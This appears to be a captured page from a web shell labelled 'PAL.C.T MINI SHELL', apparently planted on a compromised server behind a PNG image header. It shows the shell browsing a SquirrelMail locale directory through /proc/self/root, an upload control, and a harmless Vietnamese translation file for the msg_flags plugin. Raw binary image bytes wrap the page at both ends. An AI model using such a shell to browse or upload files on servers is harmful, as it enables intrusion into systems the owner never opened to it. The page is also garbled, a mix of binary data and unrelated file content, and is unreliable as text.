php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/msg_flags.po

# Vietnamese (vi) msg_flags Translation (SquirrelMail plugin)
# Copyright © 2002-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Clytie Siddall <clytie@riverland.net.au>, 2008.
# $Id: msg_flags.pot 12740 2007-10-24 21:31:21Z jervfors $
#
msgid ""
msgstr ""
"Project-Id-Version: msg_flags 1.4.10\n"
"Report-Msgid-Bugs-To: Paul Lesniewski <paul@squirrelmail.org>\n"
"POT-Creation-Date: 2007-10-27 17:43+0200\n"
"PO-Revision-Date: 2008-03-10 19:22+1030\n"
"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n"
"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: LocFactoryEditor 1.7b1\n"

#: patches/msg_flags-squirrelmail-1.4.10.diff:19
msgid "This message is flagged"
msgstr ""
"Thư này có cờ"

#: patches/msg_flags-squirrelmail-1.4.10.diff:26
msgid "This message is high priority"
msgstr "Thư này có mức ưu tiên cao"

#: patches/msg_flags-squirrelmail-1.4.10.diff:33
msgid "This message is low priority"
msgstr "Thư này có mức ưu tiên thấp"

#: patches/msg_flags-squirrelmail-1.4.10.diff:41
msgid "This message has an attachment"
msgstr "Thư này có đồ đính kèm"

#: patches/msg_flags-squirrelmail-1.4.10.diff:51
msgid "This message has been read"
msgstr "Thư này đã được đọc"

#: patches/msg_flags-squirrelmail-1.4.10.diff:54
msgid "This message is new"
msgstr "Thư này là mới"

#: patches/msg_flags-squirrelmail-1.4.10.diff:61
msgid "This message has been read & deleted"
msgstr ""
"Thư này đã được đọc và bị xoá"

#: patches/msg_flags-squirrelmail-1.4.10.diff:63
msgid "This message is new & deleted"
msgstr "Thư này là mới và đã bị xoá"

#: patches/msg_flags-squirrelmail-1.4.10.diff:71
msgid "This message has been read & answered"
msgstr "Thư này đã được đọc và trả lời"

#: patches/msg_flags-squirrelmail-1.4.10.diff:73
msgid "This message is new & answered"
msgstr "Thư này là mới và đã được trả lời"

#: patches/msg_flags-squirrelmail-1.4.10.diff:95
#: patches/msg_flags-squirrelmail-1.4.3a.diff:86
msgid "Flag"
msgstr "Đặt cờ"

#: patches/msg_flags-squirrelmail-1.4.10.diff:96
#: patches/msg_flags-squirrelmail-1.4.3a.diff:87
msgid "Unflag"
msgstr "Bỏ cờ"

#: patches/msg_flags-squirrelmail-1.4.10.diff:129
#: patches/msg_flags-squirrelmail-1.4.3a.diff:120
msgid "INBOX"
msgstr "THƯ ĐẾN"

#: patches/msg_flags-squirrelmail-1.4.3a.diff:18
msgid "This message is Flagged"
msgstr ""
"Thư này có Cờ"

#: patches/msg_flags-squirrelmail-1.4.3a.diff:25
msgid "This message is High Priority"
msgstr ""
"Thư này có mức Ưu tiên Cao"

#: patches/msg_flags-squirrelmail-1.4.3a.diff:29
msgid "This message is Low Priority"
msgstr ""
"Thư này có mức Ưu tiên Thấp"

#: patches/msg_flags-squirrelmail-1.4.3a.diff:37
msgid "This message is Mulitpart"
msgstr "Thư này có kiểu Đa Phần (Multipart)"

#: patches/msg_flags-squirrelmail-1.4.3a.diff:50
msgid "This message is Read"
msgstr "Thư này đã được Đọc"

#: patches/msg_flags-squirrelmail-1.4.3a.diff:54
msgid "This message is New"
msgstr "Thư này là Mới"

#: patches/msg_flags-squirrelmail-1.4.3a.diff:60
msgid " & Deleted"
msgstr ""
" và đã bị Xoá"

#: patches/msg_flags-squirrelmail-1.4.3a.diff:66
msgid " & Answered"
msgstr " và đã được Trả lời"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`